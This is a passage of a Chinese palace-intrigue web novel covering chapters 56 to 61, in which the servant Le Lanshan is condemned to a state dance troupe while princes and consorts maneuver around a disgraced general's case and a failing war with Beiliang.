她看了太多的宫中起落,一旦失宠,宫中的奴仆要么尽数杖毙,要么罚入杂役司做最末等的宫奴,过着猪狗不如的日子。
随着青春渐长,镜子中的自己越来越明媚动人,她便萌生了当嫔妃的念头。
终于给她等到了机会,趁着一次单独服侍昭帝(那时还是太子)更衣的机会,得了昭帝宠幸。
她也是运气极好,那一夜便怀上了龙种。
齐太后(那时还是皇后)知道后,并没有责罚她,而是把她指给了东宫,去服侍太子。
就这样,祥嫔成为太子的姬妾,昭帝登基后,她因为生了六皇子裴诚,被封为了祥嫔。
“母妃,为何太后不惩罚您?”裴诚很是不理解。
“太后是个聪明人,陛下不是她亲生的,皇帝身边多几个自己人有何不好。惩罚了我,只能留下话柄。而成全了我,只会让我感激她一生。”
“可父皇从来没有把母妃放在心上,母妃自己也甘于平淡。儿臣自小便如同空气一般,好像宫中没有我这个六皇子。”裴诚话中带着不甘和委屈。
“诚儿,为何只看一时的得失?”祥嫔温和地看着儿子,缓缓说道,“母妃这样做,都是为了你,我的诚儿。”
“儿臣不解。”但声音有明显的动摇。
“你自然不会明白母妃的心意。”祥嫔走到窗前,望着窗外斑斓的色彩,若有所思地说道,“母妃不想得宠,更不想你小时候宫中有人感觉你的存在。”
“……”裴诚心脏狠狠一颤
祥嫔回过头来:“诚儿,皇后娘娘出身显赫,结果早早薨逝。太子得万千宠爱,也得了万千妒恨,结果被废了。景皇贵妃家世不凡,当时为众妃之首。结果怀孕中被人动了手脚,宁王一出生便身体多病孱弱。而俪贵妃宠冠六宫,平王功高震主,她们的日子其实早就踩在了薄冰上了。而母妃我不过一个宫婢,无权无势无靠山,如何可以和她们争?”
她走到裴诚面前,拍拍他的肩头:“当年如果母妃去争,自己只怕落得个粉身碎骨,还可能连累你被暗害。倒不如远远地躲开是非,保着你平平安安地长大成人。”
阳光照耀到她脸色,衬托出一片祥瑞的光芒。
“诚儿,你是我的好儿子。只有平平安安长大,你才会有机会。”
“母妃怎知一定可以怀孕,还可以生下皇子?”
“既然没有退路,那就只有赌一把。”祥嫔决然地看着裴诚。
他第一次真正意识到:
弱小,不是平安。
被忽视,也不是幸运。
那是生存策略,是母妃替他挡下的一切风雨。
祥嫔走到裴诚面前,抬起他的脸,目光锐利如刀:“诚儿,你听好。在这皇宫,在这天下,没有权力,一切都是虚妄。你喜欢乐阑珊,怜惜她,想救她?光靠你那点意气用事,有什么用?今日你能砸茶具,明日别人就能砸了你的脑袋!”
“你要救她,不是像个没头苍蝇一样去撞南墙,去触怒你父皇,去给邓家递刀!”
祥嫔的声音斩钉截铁,“你要做的,是去把最高的权力握在自己手里!只有当你站得足够高,可以无视某些规则的时候,你才有资格说‘保护’,才有能力去翻云覆雨,去改变一个人的命运!”
“就像你父皇,他
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当年若非从尸山血海里杀出来,登临九五,他又如何能决定护国公府的生死?又如何能一句话,就定了乐阑珊的贱籍?”
祥嫔的眼神充满了压迫感,“如果你不想成为任人摆布的棋子,不想眼睁睁看着在意的人被碾碎,那就去成为下棋的人!”
裴诚如遭雷击,呆立当场。
母妃从未与他说过如此直白、如此冷酷的话。
他一直以为母妃淡泊,与世无争,原来那只是生存的智慧,是蛰伏的伪装。
她早已看透了这**宫闱的本质。
“那……那我现在该怎么办?难道就眼睁睁看着她……”裴诚的声音发颤。
“等。”祥嫔松开手,恢复了一贯的温和神情,但那温和下是冰冷的理智,“忍。看。让该跳出来的都跳出来,让该暴露的都暴露。乐阑珊的傲骨是她的劫,或许也是她的运。一个轻易认命的人,不值得你费心。而她这样的,只要活着,就永远是一颗能让水面起波澜的石头。你现在要做的,是积蓄力量,培植羽翼,等待时机。北谅的战事,朝堂的暗流,邓家的盛极,还有护国公的**……没有什么是永恒的。等到你有力量撬动棋盘的那一天,再谈其他。”
“诚儿。”祥嫔俯身扶起裴诚,“母妃知道你的心思。记住母妃的话,要赌就赌一把大的。只有你登上了那至尊宝座,才能做你想做的事,护你想护的人。”
裴诚低头沉思。
“记住,”祥嫔又叮嘱道,“那乐阑珊,会是你的福星的!”
祥嫔的最后一句话落下,殿内寂静如坠冰窖。
裴诚指尖微颤,像终于握住了什么,又像失去了什么。
他抬起眼,第一次将“帝位”二字刻进了骨血。
就在此时——
车厢一颠。
昏昏欲睡的乐阑珊缓缓睁开眼。
裴诚倏然睁开双眸。
四目相撞,暗流翻涌——
像是命运在这一刻悄悄改了向。
而裴诚喉结微动,心底第一次升起一个疯狂念头。
——若有一日,我真登临九五……
她,会用什么眼神看我?
第57章 好好活下去!哪怕活得像个牲口!
裴诚睁开眼的那一刻,空气都冷了。
他刚从母妃的话里醒过来,脑海里像还回荡着那句——
“去成为下棋的人。”
此刻,乐阑珊正坐在马车另一侧,被晨光割成碎影。
瘦,静,却倔强。
裴诚忽然意识到——
她不是弱者,她从未低头。
她是那个能让湖水起波澜的人。
他盯着她,眼神比以往任何时候都沉得骇人,连呼吸都变得极轻。
“乐阑珊。”
他轻轻地但是很有磁性地呼唤着她的名字,声音低得近乎危险。
乐阑珊抬眸,被他眼里的某种锋芒震住。
那目光,让她本能地避开了一瞬,她从未在任何人眼里见过这样的重量。
“本王忽然明白了一件事。”
裴诚俯身,目光逼得人逃无可逃。
“你不是需要我救的人。”
“你是——”
他顿了顿,喉结滚动。
“这个天下不配毁的人。”
乐阑珊愣住了,一脸的雾水。
马车在平王府侧门停下。
乐阑珊披着棉大氅下车,转身对车内的裴诚,认真地行了一礼。
“王爷珍重。”她轻声说道,含义复杂。
裴诚靠在车窗边,对她笑了笑,那笑容依旧带着几分魅惑,却似乎有了不一样的分量。“阑珊,好好活下去!哪怕活得像个牲口!”
车帘垂下,马车掉头离去,消失在街道尽头。
乐阑珊站在风雪渐起的王府侧门外,身上棉大氅很温暖她,心头却一片冰凉,却被裴诚燃起了一点极其微弱的、连她自己都不愿深究的火星。
活下去。等待。
不仅仅是为秋辞,不仅仅是为了护国公翻案。或许,也为了看到这混沌世道,最终会走向何方。
披着那件与身份格格不入的锦缎棉大氅,乐阑珊踏入了平王府的侧门。
府内熟悉的压抑感扑面而来,但与以往不同,这一次,她心中那片曾因邓馨儿的每一次挑衅而翻涌的泥沼,似乎已渐渐沉淀,露出底下更为坚硬的岩石。
裴曦的清风明月,裴诚那番近乎剖白的“活下去”的告诫,像在她冰封的心湖上凿开了两个不同的孔洞,一个透进来高远的光,一个灌进来冰冷的、却让她清醒的激流。
她不再只盯着眼前这一亩三分地的倾轧了。
果然,没走几步,前方回廊便转出了被丫鬟簇拥着的邓馨儿。
邓馨儿显然没有想到会看到乐阑珊回来了,震惊之余,目光落在了乐阑珊身上那件雪白耀眼的棉氅上,瞳孔微微一缩,随即绽开一个混合着惊讶与讥诮的笑容。
“哟,是乐姐姐回来了?”邓馨儿款步上前,声音娇柔,“姐姐这是打哪儿来的造化?这身大氅莫不是宁王爷赏的?”
她身后的秀清及几个丫鬟,都露出了或明或暗的看热闹神色。
“姐姐此番得了宁王恩宠,攀附了高枝,就不用再回平王府,和我等抢食了吧。”
乐阑珊停下脚步,平静地看向邓馨儿。
这张曾经能轻易点燃她怒火、让她感到**的脸,此刻看来,竟有些模糊,像隔着一层浓雾。
她忽然想起澄心苑书房里,裴曦烹茶时那行云流水的安宁,想起马车里裴诚闭目前眼中那沉淀下来的暗涌。
与那些关乎生存、尊严、乃至更强大黑暗的东西相比,邓馨儿这点后宅妇人的拈酸吃醋、口舌之争,显得如此微不足道,甚至可笑。
“侧王妃说笑了。”
乐阑珊开口,声音没有起伏,既无卑微也无挑衅,像在陈述一个客观事实,“奴婢伤病,蒙宁王殿下仁慈,暂借澄心苑休养。殿下怜奴婢体弱,赐下旧氅御寒。此乃殿下恩德,奴婢感念,却不敢妄称‘攀附’。”
她将“暂借”、“恩德”、“不敢妄称”几个词咬得清晰,语气里的分寸感拿捏得恰到好处,既表明了东西的来历堂堂正正,又堵**邓馨儿往“暧昧”上牵扯的余地。
邓馨儿没料到她会如此平静,甚至带着一种疏离的、近乎“无视”的态度。
这种被“忽视”的
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感觉,比直接的顶撞更让邓馨儿不舒服。d
“姐姐倒是会说话。”邓馨儿笑容淡了些,“只是这身打扮回府,怕是不合规矩吧?知道的说是王爷恩典,不知道的,还以为姐姐在外有了靠山,看不上咱们平王府的粗布衣裳了呢。”
“规矩奴婢自然遵守。”乐阑珊微微低头,“这大氅,奴婢稍后便会仔细收好,非必要不敢擅用,以免招人非议,辜负殿下好意,也徒惹侧王妃烦心。”
她顿了一下,抬眼,目光清凌凌的,“侧王妃若没有其他吩咐,奴婢还需去向王爷复命。”
她句句在理,态度恭谨,却把邓馨儿所有刁难的路子都轻飘飘地挡了回去,甚至主动提出了离开。
邓馨儿像一拳打在了棉花上,胸口那股气憋得生疼。
她还想说什么,乐阑珊已经再次行礼,侧身从她旁边走了过去。那件雪白的大氅衣角拂过地面,没有留下半分尘埃,也没有半分迟疑。
邓馨儿僵在原地,看着乐阑珊挺直却单薄的背影消失在廊角,手帕被绞得变了形状。
不对劲。
这个乐阑珊,和以前不一样了。不是更强硬,而是更难以捉摸了。
邓馨儿心中越发地不安起来,急切地盼望圣旨赶紧下,乐阑珊可以被带离平王府,让自己从此无人争宠了。
乐阑珊没有直接去找裴衍,而是回了最早居住的柴房。
她仔细地将裴曦所赠的棉氅叠好,用一块干净的粗布包起,放在了床铺最里面。
裴曦朗风明月,不可让小人得任何把柄伤害他。
然后,她换回了平王府最低等奴婢的灰色粗布衣裙,去了前院书房。
裴衍正在看边关送来的军报,眉头紧锁。见她进来,穿着那身刺眼的灰衣,他目光复杂地在她身上停留了片刻,尤其是扫过她瘦削的肩膀时,喉结滚动了一下。
“回来了?”他声音有些沙哑,“二皇兄……待你如何?”
乐阑珊冷冷地一笑,反问道:“王爷送奴婢过去,希望宁王如何待奴婢?”
第58章 若他能平安归来,便好
裴衍手中的笔猛地一顿,在宣纸上洇开一团墨痕。
他显然不耐烦了。
“宁王殿下仁厚,赐医赠药,奴婢感激不尽。”乐阑珊站在堂下,语气平直,没有一丝讨好,也没有多余情绪。
“他……”裴衍抬眼,目光锐利,“可曾说过什么?”
乐阑珊沉默了一瞬,随即抬头,与他对视。
“殿下说,路要自己选,也要自己走。”她语速不快,却字字清楚,“他还说,世道对女子苛刻,但留得有用之身,未必不能等到云开月明。”
裴衍的手指微微收紧。
这话,分明是说给她听的,却又像是隔着她,直指他心底最不愿面对的地方。
他将她送去澄心苑,心思隐晦,自以为周全。可裴曦未必看不透,却偏偏没有点破,只用这样一句话,将他衬得进退失据。
相比之下,他的犹疑、算计,竟显得如此难看。
堂内安静了许久。
裴衍终于挥了挥手,语气冷淡下来:“下去吧。先在后院打杂,等父皇圣旨一下,自有官家来领你去服役。”
这话说得随意,却已是他所能给出的最大缓冲。
乐阑珊应了一声“是”,行礼退出。
门帘落下的一瞬,裴衍才缓缓靠回椅背,胸口像被什么堵住了。
菀花毒一事,他心里其实早有答案。
不是她。
可当时邓尚书步步紧逼,宫中流言汹涌,他需要一个“交代”,而她,恰好无依无靠。
如今想替她找一条路,却发现自己连开口挽留的资格都没有。
“阑珊……”他低声喃喃,声音里透着自己都未察觉的疲惫与懊悔,“你就不能求本王一次吗?”
可话出口,连他自己都知道——
她不会。
乐阑珊心中一样起伏:“王爷,你从来没有真正懂过我。曾经以为,你是我唯一的依靠,结果却是所求无果。既然如此,何必再去求你?我的路,我自己去走!”
回到平王府后院,乐阑珊重新过上了最底层奴婢的日子。
天不亮起身,洒扫庭院、洗衣搬水,冬水刺骨,旧伤隐痛。那双曾抚琴执笔的手,很快添了新的裂口和老茧。
她不再刻意避开裴衍,也不再留意他是否投来目光。
有些路,一旦走开,便不会回头。
这日午后,她正晾晒洗好的衣物,一阵细碎的脚步声自身后传来。
“哟,这不是乐姑娘吗?”
邓馨儿披着狐裘,立在廊下,笑意温柔,眼底却满是居高临下的审视。
“差一点成了乐司丞,又回来做这些粗活,可还习惯?”
周围下人动作一顿,纷纷低头,不敢出声。
乐阑珊将最后一件湿衣挂好,转身行了一礼,动作规矩而疏离:“回侧妃的话,奴婢不敢不习惯。”
邓馨儿轻笑一声,缓步走近:“也是。毕竟是贱籍,能有口饭吃,已是福气。”
她话说得慢,像是在细细品味这份胜利带来的兴奋。
乐阑珊抬眼,目光平静,却在下一瞬,微微侧身,将脚边一只盛水木盆不动声色地向前推了半寸。
“侧妃当心。”她语气淡然。
邓馨儿低头时已来不及,鞋底一滑,身形猛地一晃,惊呼声卡在喉咙里。
幸而身后丫鬟眼疾手快,将她扶住。
院中一片死寂。
邓馨儿站稳后,脸色已变了几分,正要发作,却听乐阑珊低声开口:“奴婢手拙,地上有水。侧妃若伤着,奴婢担待不起。”
她说得恭顺,眼神却冷静而清醒。好像在说:这不是挑衅,是警告。
邓馨儿盯着她看了片刻,最终只是冷笑一声,拂袖而去。
直到那道身影消失在回廊尽头,周围人才悄悄松了一口气。
乐阑珊垂下眼,继续整理衣物,指尖却稳得没有一丝颤抖。
她很清楚,在这座王府里,锋芒若露,便是自找死路。
可若连边界都不敢守,活着,也不过是被人随意践踏。
北凉战事的消息,开始频繁传入府中。
最初还有零星捷报,后来,便只剩下“告急”“伤亡惨重”。
乐阑珊每次听到只言片语,心口都会紧上一分。
那个在雪地里替她挡下
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鞭子与飞踹的副将,此刻正身处真正的修罗场。
她不敢多想,只在夜深时,默默对着窗外的星色出神。
若他能平安归来,便好。
至于其他,她不敢再奢望。
变故来得毫无征兆。
那日天色阴沉,铅灰色的云层压得极低,空气闷得让人喘不过气。
乐阑珊正与几个婆子在后院清洗积衣,忽然听见前院传来一阵不同寻常的喧哗。
急促的脚步声、压低的惊呼声,交错在一起。
她心口猛地一跳,下意识望向通往前院的月亮门。
只见周叔踉跄着跑过,脸色惨白,仿佛一夜之间老了十岁。
“周管家,出什么事了?”有人忍不住问。
周叔张了张嘴,却一个字也没说出来,只是抬手指向前厅方向,手指抖得厉害。
下一刻,一声几乎撕裂空气的嘶吼骤然响起。
那声音失了人声的形状,充满了暴怒、痛楚与崩塌般的绝望。
是裴衍。
乐阑珊只觉耳中嗡的一声,血液仿佛瞬间凝住。
她再顾不得规矩,扔下手中的衣物,朝前院奔去。
穿堂口,她看见裴衍从前厅冲了出来。
他衣衫凌乱,双目赤红,手中死死攥着一份染着暗红痕迹的军报,像是刚从血里捞出来。
下一瞬,他猛地一脚踹翻廊下的景泰蓝花瓶。
“轰——!”
碎瓷四溅。
裴衍却像感觉不到疼,抬拳狠狠砸向廊柱,木屑飞落,手背瞬间血肉模糊。
“王爷!王爷息怒!”周叔与侍卫纷纷跪下,却无人敢近身。
裴衍仰着头,喉咙里挤出破碎的低吼,声音几近失控。
“是本王……是本王害了他……”
那句话落下的瞬间,乐阑珊只觉心口一沉。
他。
不是“她”。
她的目光,死死盯住那份军报,指尖在袖中一点点收紧。
——下一刻,周叔颤抖着声音,终于说出了那句所有人都不敢先出口的话:
“王爷,北凉急报……秋辞副将,于十日前夜战中,生死不明。”
第59章 召回护国公
没有确切的死讯,却往往比确切的死讯更折磨人。
“生死不明”这四个字,像一把并不锋利的钝刀,在乐阑珊早已千疮百孔的心口上,一下,又一下,缓慢而执拗地来回拉锯。
不致命,却漫长。
希望与绝望纠缠成一张密不透风的网,将她牢牢困在其中。她甚至分不清,自己究竟是在等一个奇迹,还是在被迫延长一场迟早到来的失去。
那个沉默而挺拔的背影,在风雪中回望的最后一眼,胸前若隐若现的平安福袋;
教坊司外,他挡在她身前,血溅一地却一声不吭;
出征前夜,他立在灯影下,欲言又止,最终只说了一句“保重”。
这些画面无数次地翻涌而来,最终却都归于同一个终点——
裴衍手中那份染着暗红血迹的军报,和他失控到近乎崩塌的一声低吼。
“秋辞……”
那声音带着血和悔,可落在乐阑珊耳中,却空洞得可怕。
那里面,究竟有多少是对秋辞这个人的痛惜?
又有多少,是对自己判断失误、折损心腹、满盘皆输的痛心?
她已经不想分辨,也无力分辨。
她只知道,那个曾在她最无助的时候,毫无保留地挡在她身前、不掺杂任何暧昧与算计的温暖,也许已经永远消失在北凉那片冰冷的风雪里。
巨大的悲伤过去之后,并没有迎来宣泄,反而是一种更深沉的茫然。
前路像是被浓雾彻底吞没,看不见方向,也看不见尽头。
圣旨悬而未决,贱籍的命运如同利剑高悬;
秋辞生死未卜,最后一点可依托的精神支点摇摇欲坠;
而北凉边境的战报,一封比一封急,一封比一封惨。
孤立无援。
这是她第一次,如此清晰地感受到这个词的重量。
她仿佛一叶被卷入风暴的孤舟,看不见灯塔,也失去了船桨,只能被动地随波逐流,等待不知从何而来的最终裁决。
这种持续而无声的消耗,甚至让她在面对邓馨儿时,都失去了以往那种冷静对峙的耐心。
那日,她刚从后院出来,便与邓馨儿“恰好”撞上。
对方披着华贵的斗篷,神情悠闲,目光在她身上来回打量,带着一丝掩不住的得意与探究。
“听说前线不太平。”
邓馨儿笑得温柔,语气却轻飘飘的,“有些人啊,就是没那个福分。”
那一瞬间,乐阑珊脑中“嗡”的一声。
她没有犹豫。
几乎是本能的,她上前一步,五指猛地扣住邓馨儿的脖颈,将人狠狠抵在廊柱上。
空气骤然凝固。
邓馨儿彻底吓懵了。她从未想过,眼前这个早已跌入尘埃的女子,竟还有这样的力道与狠意。
“你、你想干什么?”她声音发抖。
“你说呢?”
乐阑珊眼底翻涌着压抑已久的怒火,声音低而冷,“若不是你们步步相逼,秋辞不会自请出征,更不会下落不明。你现在还有脸站在我面前说风凉话?”
她手上的力道一点点收紧。
“我现在就送你一起上路。”
“你、你怎么敢!”邓馨儿几乎窒息,“我可是平王的侧王妃!”
“那又如何?”
乐阑珊笑了一下,笑意却冷得骇人,“我如今已是贱籍,早就跌进泥里了,还有什么可怕的?若真要陪葬,有你这样一位侧王妃,倒也不亏。”
邓馨儿的脸色由白转青,眼看就要支撑不住。
就在这一刻,乐阑珊忽然松了手。
邓馨儿瘫软在地,大口大口地喘息。
“放心。”
乐阑珊居高临下地看着她,语气冷淡,“我不会让你现在就死。还不到时候。”
“阑珊,你在做什么!”
裴衍的怒喝声骤然响起。
即便此刻身边再没有一个秋辞替她挡在前头,乐阑珊仍旧无畏地抬起头,直视来人。
“王爷不是都看到了吗?”她声音平静得近乎残忍,“贱籍乐阑珊,方才确实想要平王侧王妃的命。”
邓馨儿立刻扑到裴衍身边,哭得梨花带雨:“王爷!她害妾身不能受孕,如今还要杀我,求王爷为妾身做主!”
乐阑珊与裴衍四目相对。
那一瞬间,所有未出口的情绪,在空气中无声对撞。
良久。
裴衍看着她绷得笔直的脖颈,终究还是咽下了那口
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翻涌的怒气。
“好了。”他转而安抚邓馨儿,语气低沉,“先回房休息。”
邓馨儿难以置信,却还是被他打横抱起,离开了庭院。
只留下乐阑珊,独自站在原地。
不知过了多久,小媛匆匆跑来,抓住她的手,声音发颤:“乐姐姐……我都知道了。你得为自己打算啊。”
那一刻,所有强撑终于溃散。
乐阑珊再也站不住,顺着小媛的力道滑坐下来,埋在她怀里,失声痛哭。
“我前几日见到陈伯了。”
小媛压低声音,“他让我转告你一句话——要相信瑞王爷。”
乐阑珊猛地止住哭声,心底那片死水,终于泛起一丝难以言说的波纹。
她们都没有注意到,屋脊暗影中,有人静静将这一切收入眼底。
——
接下来的日子,乐阑珊像是变了一个人。
除去拼命干活,便是沉默。
裴衍很快察觉到了她的异常。
他在府中几次见到她,只见她面色苍白,眼神空洞,机械地做着手里的活计,仿佛一具被抽空了灵魂的躯壳。
他想开口,却发现自己什么也说不出来。
安慰?他配吗?
挽留?他又有什么资格?
最终,只能任由她从自己身侧走过,留下一个愈发模糊、愈发遥远的背影。
就在这种令人窒息的低气压中,朝堂上的惊雷,终于炸响。
北凉战事,大昭惨败。
不是一城一地,而是主力大军误入埋伏,数万精锐折损,边关门户洞开。
京城震动。
昭帝连夜召见重臣,御书房灯火通明,直至天明。
御书房内,裴曦跪在御案前,垂首听命。
昭帝面色铁青:“宁王,你此前与北凉议和,不是已成?”
裴曦沉声回道:“北凉新可汗主和,但其王叔拓跋执掌重兵。如今主战派把持朝政,旧约早已成废纸。”
昭帝沉默良久,声音低沉而疲惫:“那你说,大昭如今该如何?”
裴曦思索许久,终于缓缓开口:
“父皇,若要制衡拓跋——”
他顿了顿。
“恐怕,只能召回护国公。”
第60章 那桩案子必须“铁”
御书房内,沉香的气息仿佛凝成了实质,沉甸甸地压在梁柱与人心之上。
烛火微晃,映得御案后的明黄龙袍光泽忽明忽暗,也映出昭帝眉宇间掩不住的倦色。
他手指无意识地摩挲着冰凉的镇纸,良久,目光才落到殿中跪着的身影上。
裴曦垂首而立,脊背却挺得笔直。
“召回护国公……”昭帝终于开口,声音低沉,却像在齿间反复碾过,“你可知自己在说什么?”
这几个字,落进御书房,却仿佛坠入一口幽深古井,没有回声,却激起层层寒意。
护国公乐擎。
这个名字,曾是大昭北境最牢不可破的屏障,是敌军夜谈都要避开的存在,是无数将士心中不败的战旗。也是昭帝当年登临帝位时,最倚重、却也最忌惮的肱骨。
更是——一桩早已被钉死的“铁案”中的罪臣。
当年那宗贪墨案,查得极快,定得更快。数笔银钱来路不明,几封口供前后呼应,三司尚未来得及细审,**的折子已堆满御案。邓尚书为首的文官集团声势汹汹,言辞激烈,句句直指军权过重、功高震主。
乐擎自边关被急召回京,甚至来不及卸甲,就被下旨夺爵收监。
真假如何?
昭帝心里比任何人都清楚。
乐擎军功赫赫,在军中威望如日中天;而彼时的太子与乐家往来甚密,朝中将门势力盘根错节,隐有合流之势。皇权初稳之际,他需要一把快刀,一次不容置疑的立威。
文官新贵,根基尚浅,易于驱使;将门老臣,拥兵自重,尾大不掉。
权衡之下,乐擎成了所有矛盾的交汇点。
于是,那桩案子必须“铁”。
铁到无人敢翻,无人能翻。
昭帝闭了闭眼。往事如旧伤,在最不合时宜的时候隐隐作痛。
可如今,北凉铁骑压境,拓跋王叔执掌兵权,新可汗名存实亡。昔日“苍狼”麾下的旧将,尚能令敌军忌惮,而满朝文武,却再无人能独当一面。
这是何等讽刺。
自毁长城,何其愚蠢。
可站在帝位之上,他又怎能承认那是错误?
帝王无错。一旦翻案,动摇的便不是一人清白,而是皇权本身。那些因乐家倒台而上位的人,那些与乐家结过仇怨的势力,必将群起而噬。此刻因战败而摇摇欲坠的朝局,承受不起这样的震荡。
昭帝的目光重新变得冷硬。
“护国公一案,铁案如山。”他语气平缓,却不容置喙,“是否召回,日后再议。”
裴曦叩首,额头触地:“儿臣……明白。”
他没有再争,只在低垂的眼底掠过一丝极淡的失望。
殿内再度安静下来。
良久,昭帝再开口:“北凉之事,不能再战。国库空虚,经不起折腾。”
他顿了顿,像是已然做出决断:“传旨平王。其侧妃邓氏,端庄贤顺,前番受惊,朕心甚悯,擢升为平王正妃,以彰其德,亦安邓尚书之心。平王为国操劳,后宅安宁,亦是国事。”
裴曦心中一沉。
“还有,”昭帝语调愈发冷淡,“罪奴乐氏,寿宴献艺虽有微劳,然罪籍未销,且涉皇嗣旧案,国法难容。即刻送入官属歌舞坊,充贱籍役使,不得有误。”
两道旨意,一恩一罚,同时拟就,加盖玉玺。
如同天平两端,冷酷而精准。
消息传至平王府时,邓馨儿几乎喜极而泣。她身披新制华服,对着皇城方向盈盈下拜,心中满是翻身为主的快意。正妃之位,终究还是落在了她手中。
至于乐阑珊——
一个即将被送入歌舞坊的贱籍女子,又算得了什么?
而另一边,乐阑珊接旨时,只是安静地跪在院中,叩首谢恩。额头触地的一瞬,她清楚地听见自己心底有什么东西,彻底断裂。
原来,连“拖延”都是奢望。
几乎同时,瑞王府内。
裴诚得知圣旨内容,霍然起身,脸色阴沉如水,抬脚便往外走。
“王爷,您要去哪里?”侍卫洛易急忙跟上。
“进宫!去见母妃!”裴诚声音急促,“不能让她就这么进去!一旦入了歌舞坊,再想出来就难了!至少……至少想办法拖
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延几日!”
“王爷,此刻进宫求情,怕是会引陛下疑心!”洛易劝阻。
“顾不了那么多了!”裴诚脚步不停。乐阑珊是他棋盘上至关重要的一子,更是……他心底一处不愿深究的波澜。他不能眼睁睁看着她被彻底吞噬。
祥嫔宫中,气氛却异样的宁静。
祥嫔正在修剪一盆兰草,动作慢条斯理。
听完裴诚带着怒意与焦急的陈述,她放下银剪,拿起细布慢慢擦拭手指,抬眸看了儿子一眼,那眼神平静无波,却带着不容置疑的力道。
“诚儿,坐下。”
“母妃!再晚就——”
“坐下。”祥嫔声音不高,却让裴诚不得不停下脚步,烦躁地坐到一旁。
“你想去求陛下?以什么理由?”祥嫔问,语气听不出情绪,“是为你自己看中了一个贱籍女子,还是为乐阑珊鸣不平,质疑陛下的旨意?”
裴诚语塞。
“你现在出面,除了让陛下觉得你沉不住气,为了个女子不顾大局,甚至可能联想到护国公旧案,对你起疑之外,有任何用处吗?”
祥嫔缓缓道,“陛下刚刚驳回了宁王召回护国公的提议,重申了乐家铁案。此刻你去为一个乐家女求情,是打陛下的脸,还是告诉所有人,你对乐家旧事别有用心?”
裴诚握紧了拳头:“那就……什么都不做吗?”
她看着儿子:“你让她‘有价值’,就要让她先‘活着’,并且活到需要她有价值的那一刻。现在跳出去,是让她成为众矢之的。沉住气,诚儿。”
裴诚胸口剧烈起伏,但理智渐渐回笼。母妃说的对。此刻冲动,于事无补,反而可能害了她,也暴露自己。
“那……现在该如何?”他声音沙哑。
“诚儿,你想过陛下为何同时发布这两道圣旨?”
见裴诚不语,她继续说道:“陛下是想让全朝野都清楚:皇权的威严不可侵犯。新的平衡必须维持。至于个人的生死,在皇权和平衡面前,轻如尘埃。”
她叹了口气:“看来,护国公案,有松口的可能了!”
第61章 奴婢自愿和亲北凉
圣旨下得极快,去服役的时间到了。
次日卯时未到,平王府外便已停了内务府的车马。
青呢幔帐低垂,随行的内侍手持名册,神色恭谨而疏离,像是来接一件早已定好去处的物件。
乐阑珊在柴院中起身时,天色尚灰。
她什么行囊都没有拿,整个平王府没有任何一样属于她,也没有任何东西值得她留恋的。只换了一身素色旧衣,发不簪钗,面不施粉,连眼神都显得异常平静。
院门开启时,她正好抬步而出。
裴衍站在廊下。
晨风吹动他的衣袍,却吹不散眉宇间那层沉郁。
他刚从前院的喧闹与虚空中脱身,身上还带着酒气与一种难以言喻的烦躁。
看见乐阑珊这副即将被押解走的模样,他瞳孔猛地一缩,一股混合着痛楚、懊悔与某种不甘的冲动直冲头顶。
他看着她一步步走近,心口像被一只无形的手攥紧,连呼吸都变得艰涩。
“阑珊。”
他终究还是开了口。
乐阑珊脚步一顿,却没有抬头,只依礼屈膝行了一礼:“王爷。”
这一声称呼,清清楚楚,干干净净,将两人之间最后一丝暧昧与未尽之言,悉数隔绝。
裴衍喉结滚动了一下,挥手示意内务府的人暂退。
“入歌舞坊,并非只有这一条路。”
他声音压得极低,带着连自己都未察觉的艰涩:“你若愿意,本王可以纳你为通房。名分虽低,却足以向父皇请旨,暂缓你的贱籍。”
这句话说得异常艰难,却又像是一道他自以为是的“生门”,急切地想要展示给她看。
“通房也好,侍妾也罢,总好过入了贱籍,永世不得翻身。”他盯着她的眼睛,试图从里面找到一丝松动,“本王可以即刻上书父皇,**情由。你毕竟在太后寿宴上有功,或许……父皇会网开一面。”
夜风吹过,卷起她鬓边一丝碎发。
乐阑珊缓缓抬起眼,看向裴衍。那目光里没有惊讶,没有感激,甚至没有愤怒,只有一种透彻骨髓的冰冷与疏离,像在看一个陌生人,或者说,一件与己无关的、略显可笑的事物。
“王爷的好意,奴婢心领了。”她声音平静无波,字字清晰,“只是,奴婢虽已卑贱至此,却也记得祖父教诲,乐家女儿,一不靠媚术求苟活,二不与人共事一夫,尤其是——”
她顿了顿,嘴角极淡地扯了一下,那弧度里满是冰冷的嘲讽:“——与邓馨儿。”
每一个字都像冰锥,狠狠扎进裴衍的胸口。他脸色骤然变得难看。
“媚术”?“共事一夫”?她在把他最后的“好意”贬低得如此不堪!她在用她仅剩的傲骨,狠狠扇他的脸!
他说这话时,目光死死盯着她,像是抓住了最后一根可以挽回的线。
“本王不会让你受委屈。”
乐阑珊终于抬起头。
她的眼睛极亮,却冷得近乎锋利。
她顿了顿,又补了一句,像是为他,也是为自己斩断所有退路。
“这不是气话,是底线。”
裴衍脸色骤然一白。
他从未见过她这样清醒,也从未如此清楚地意识到——她早已不在自己能掌控的范围之内。
“阑珊,你可知歌舞坊是什么地方?”他压低声音,几乎带了几分恳求,“那不是你该去的地方。”
“可那是我此刻该走的路。”
乐阑珊答得极轻,却没有一丝动摇。
她再次行礼,转身向外走去。
裴衍站在原地,想伸手,想阻拦,喉咙里却像被什么东西死死堵住,发不出任何声音。
那双曾拥过她、也曾推开她的手,紧紧握成了拳,指甲深深掐进掌心,却感觉不到疼。
他忽然明白,无论他再说什么,都只是徒增羞辱。
马车很快驶离平王府。
车轮碾过青石板的声音,一下下敲在乐阑珊心上。她端坐在车中,背脊笔直,手却在袖中悄然收紧,宽大厚重的衣袍,因为双腿发抖而抖动。
不是不怕。
而是怕也无用。
行至城西长街时,马车忽然一震,随即猛地停下。
外头传来车夫压低的惊呼声:“轴……轴断了!”
内务府随行的人一阵骚动。
正值交接要紧关头,谁也不敢擅自处置,只能匆匆遣人去寻备用车马。
混乱之中,一名不起眼的随从悄然靠近车窗,将一封折的极薄的信递入。
“乐姑娘,
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路远,慎行。”
声音低得几不可闻。
乐阑珊目光一顿,随即将信收入袖中。
马车修整的间隙,她借着帘影遮掩,迅速展开信笺。
字迹清隽冷静,是裴曦的手笔。
信中只寥寥数语,却字字如刀——北凉朝局**,新可汗受制于拓跋王叔;前线大昭军节节败退,议和无门,战与和皆陷死局。
最后一行,写得极淡:
“若无破局之人,和亲或为唯一可行之策。”
乐阑珊缓缓合上信。
她没有立刻露出情绪,只是闭了闭眼。
原来如此。
这一路的“巧合”,并非巧合。
她忽然明白了裴曦的真正用意——不是救她脱身,而是将选择权,递到她自己手中。
车马很快备好。
